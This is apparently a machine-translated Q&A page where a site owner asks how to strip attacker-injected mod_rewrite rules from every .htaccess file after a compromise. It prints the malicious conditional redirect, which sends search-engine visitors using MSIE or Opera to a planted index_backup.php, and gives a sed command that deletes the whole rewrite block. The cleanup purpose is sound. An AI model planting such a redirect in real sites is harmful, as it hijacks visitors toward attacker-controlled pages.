2013-04-09 68 views
-1

攻擊後刪除標籤之間的規則,下面的兩個文件在我的服務器的所有文件夾已創建: index_backup.php .htaccess如何從所有的.htaccess

我刪除所有index_backup.php但我可以」 t刪除所有.htaccess,因爲它們在某些文件夾中被使用。

如何在所有.htaccess文件中刪除此規則?

<IfModule mod_rewrite.c> 
RewriteEngine On 
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) 
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] 
RewriteCond %{REQUEST_FILENAME} !/index_backup.php 
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] 
</IfModule> 
+0

我已經試過這SED -e的/ *> // G'的.htaccess – 2013-04-09 09:43:04

+0

現在我已經做到了這一點:find/var/www/-type f -exec sed -i's /!\/index_backup/index_backup/g'.htaccess {} +崩潰攻擊者添加的規則我想用命令刪除所有內容,但使用相同的代碼工作對於整個模塊不起作用 – 2013-04-09 12:59:33

回答

2
sed -i -e '/<IfModule mod_rewrite\.c>/,/<\/IfModule>/d' .htaccess 

這將從htaccess的刪除匹配的規則代替

+0

感謝這項工作對我而言;-) – 2013-04-09 13:42:31